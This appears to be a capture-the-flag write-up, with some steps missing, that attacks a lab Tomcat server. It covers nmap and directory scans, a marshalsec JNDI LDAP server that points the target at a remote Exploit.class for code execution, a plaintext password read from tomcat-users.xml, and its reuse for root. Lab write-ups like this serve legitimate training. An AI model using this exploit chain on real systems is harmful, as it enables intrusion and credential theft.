└─$ nmap -A -sC -sV -p22,808010.10.127.134 -Pn StartingNmap7.94SVN ( https://nmap.org ) at 2025-02-10 14:44 EST Nmap scan report for10.10.127.134 Host is up (0.039s latency).
PORTSTATESERVICEVERSION 22/tcp open ssh OpenSSH7.6p1 Ubuntu 4ubuntu0.5 (UbuntuLinux; protocol 2.0) | ssh-hostkey: | 204863:ef:9d:79:12:a0:1a:08:92:8e:0d:b7:4a:7d:b2:7d (RSA) | 256f8:bf:ad:21:f1:6b:e1:c8:dc:29:78:65:55:69:7e:37 (ECDSA) |_ 256 5d:56:d6:44:26:c2:da:53:73:62:77:3a:78:d4:11:65 (ED25519) 8080/tcp open http ApacheTomcat9.0.56 |_http-title: ApacheTomcat/9.0.56 |_http-favicon: ApacheTomcat Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port AggressiveOSguesses: Linux3.1 (95%), Linux3.2 (95%), AXIS 210A or 211NetworkCamera (Linux2.6.17) (95%), ASUSRT-N56UWAP (Linux3.4) (93%), Linux3.16 (93%), Adtran 424RG FTTHgateway (93%), Linux2.6.32 (93%), Linux2.6.39 - 3.2 (93%), Linux3.1 - 3.2 (93%), Linux3.11 (93%) No exact OS matches forhost (test conditions non-ideal). NetworkDistance: 2 hops ServiceInfo: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp) HOPRTTADDRESS 141.85 ms 10.8.0.1 241.97 ms 10.10.127.134
000000001: 200198 L 490 W 11136Ch"# directory-list-2.3-medium.txt" 000000007: 200198 L 490 W 11136Ch"# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000000003: 200198 L 490 W 11136Ch"# Copyright 2007 James Fisher" 000000014: 200198 L 490 W 11136Ch"http://10.10.127.134:8080/" 000000013: 200198 L 490 W 11136Ch"#" 000000012: 200198 L 490 W 11136Ch"# on at least 2 different hosts" 000000011: 200198 L 490 W 11136Ch"# Priority ordered case-sensitive list, where entries were found" 000000010: 200198 L 490 W 11136Ch"#" 000000009: 200198 L 490 W 11136Ch"# Suite 300, San Francisco, California, 94105, USA." 000000006: 200198 L 490 W 11136Ch"# Attribution-Share Alike 3.0 License. To view a copy of this" 000000004: 200198 L 490 W 11136Ch"#" 000000005: 200198 L 490 W 11136Ch"# This work is licensed under the Creative Commons" 000000002: 200198 L 490 W 11136Ch"#" 000000008: 200198 L 490 W 11136Ch"# or send a letter to Creative Commons, 171 Second Street," 000000090: 3020 L 0 W 0Ch"docs" 000000141: 3020 L 0 W 0Ch"feedback" 000000902: 3020 L 0 W 0Ch"examples" 000004889: 3020 L 0 W 0Ch"manager"
And we see a strange endpoint for a tomcat instance called feedback . So let’s check it:
In the source code we can see the following comment:
Or we can use the following commands in order to do it manually:
1 2 3 4
└─$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://10.8.3.7/#Exploit" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true Listening on 0.0.0.0:1389 SendLDAP reference result forExploit redirecting to http://10.8.3.7/Exploit.class
tomcat@ip-10-10-10-7:~/conf$ cat tomcat-users.xml cat tomcat-users.xml <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the ApacheSoftwareFoundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. TheASF licenses this file to You under the ApacheLicense, Version2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS"BASIS, WITHOUTWARRANTIESORCONDITIONSOFANYKIND, either express or implied. See the Licensefor the specific language governing permissions and limitations under the License. --> <tomcat-usersxmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <userusername="admin"password="H2RR3rGDrbAnPxWa"roles="manager-gui"/> <userusername="robot"password="H2RR3rGDrbAnPxWa"roles="manager-script"/> </tomcat-users> tomcat@ip-10-10-10-7:~/conf$
With the password that we just found we can su - root and get the flag !